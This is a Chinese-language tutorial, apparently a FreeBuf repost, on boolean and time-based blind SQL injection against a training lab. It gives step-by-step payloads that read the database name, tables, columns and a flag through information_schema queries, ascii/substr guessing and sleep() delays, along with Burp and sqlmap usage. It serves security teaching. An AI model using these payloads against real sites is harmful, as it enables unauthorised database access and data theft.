前言
注入攻击的本质: 把用户输入的数据当做代码执行。
两个关键条件:
第一个是用户能够控制输入
第二个是原本程序要执行的代码,拼接了用户输入的数据然后进行执行
盲注所对应的是显错注入,
但很多时候,Web服务器关闭了错误回显,这时候我们该怎样实行SQL注入了呢,
union select 联合查询注入
updatexml 报错注入
盲注介绍
所谓的盲注就是在服务器没有错误回显的时候完成的注入攻击。
服务器没有错误回显,对于攻击者来说缺少了非常重要的“调试信息”。
盲注的类型:
盲注需要掌握的几种函数
length() 函数 返回字符串的长度
substr() 截取字符串 (语法:SUBSTR(str,pos,len);)
ascii() 返回字符的ascii码 [将字符变为数字wei]
sleep() 将程序挂起一段时间n为n秒
if(expr1,expr2,expr3) 判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句
盲注实战
布尔盲注
1.手工注
1.判断注入点
and -1=-1 页面返回有数据
and -1=-2 页面无结果返回
==》存在SQL注入。
2. 判断当前页面字段总数
and -1=-1 order by 2 页面返回有数据
and -1=-2 order by 3 页面无结果返回
==》当前页面字段数为:2。
3.判断显示位
and -1=-2 union select 1,2 页面无结果返回
==》无回显点,应该是:盲注并且是布尔盲注(有明显的True和Flash)。
4.猜解当前数据库名称长度
and (length(database()))>11页面返回有数据
and (length(database()))>12页面无结果返回
==》当前数据库名称长度为:12。
5.用ASCII码猜解当前数据库名称
and ascii(substr(database(),1,1))=107 页面返回有数据
and ascii(substr(database(),2,1))=97 页面返回有数据
==》当前数据库 第一个字母是k,第二个字母是a…以此类推得到数据库库名是kanwolonxia。
注:判断ascii码范围不止是 ”=” 哦,还应该恰当使用 “>”,“<” 等符号。
6.猜表名
and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))=108 页面返回有数据
==》表名的 第一个字母是 l …然后以此类推得到 表名 loflag。
7.猜字段名
and (ascii(substr((select column_name from information_schema.columns where table_name=’loflag’ limit 1,1),1,1)))=102 页面返回有数据
==》字段名的第一个字母是 f…类推得到字段名 flaglo。
8.猜内容
and (ascii(substr(( select flaglo from loflag limit 0,1),1,1)))=122 页面返回有数据
==》得到数据的第一个字母是 z…类推得到 数据zKaQ-QQQ
2.burp跑盲注
猜解当前数据库名称
1 107 k
2 97 a
3 110 n
4 119 w
5 111 o
6 108 l
7 111 o
8 110 n
9 103 g
10 120 x
11 105 i
12 97 a
得到 数据库名kanwolonxia…下面的burp跑的都差不多。
sqlmap跑布尔盲注
sqlmap.py -u http://inject2.lab.aqlab.cn:81/Pass-10/index.php?id=1
基础命令:
-u 指定注入点
–dbs 跑库名
–tables 跑表名
–columns 跑字段名
–dump 枚举数据
-D 指定库 -T 指定表 -C 指定字段
其他的按照我的上篇文章里面的sqlmap操作步骤:
https://www.freebuf.com/articles/web/281064.html
时间盲注
1.判断注入点
“and -1=-1– w 页面返回有数据
“and -1=-2– w 页面返回有数据
==》页面的返回没有变化,可能是盲注;
然后用sleep()判断是否是时间盲注
“and sleep(5)– w 页面延时了
==》该盲注是时间盲注。
2.猜解当前数据库名称长度
“and if((length(database()))=12,sleep(5),1)– w 页面延时了
==》当前数据库名称长度为 12。
3.用ASCII码猜解当前数据库名称
“and if(ascii(substr(database(),1,1))=107,sleep(5),1)– w 页面延时了
==》数据库第一个字母是k… 类推得到数据库名kanwolonxia。
后面的跟上面的差不多就是多了一个 if() 函数。
并且用Burp和Salmap的方法也都类似。
延时盲注其实和布尔盲注其实没有什么太大的区别,只不过是一个依靠页面是否正常判断,一个是否延时判断,在操作上其实也差不多,只不过延时多一个if()。
来源:freebuf.com 2021-07-21 11:03:07 by: 无名草talent
请登录后发表评论
注册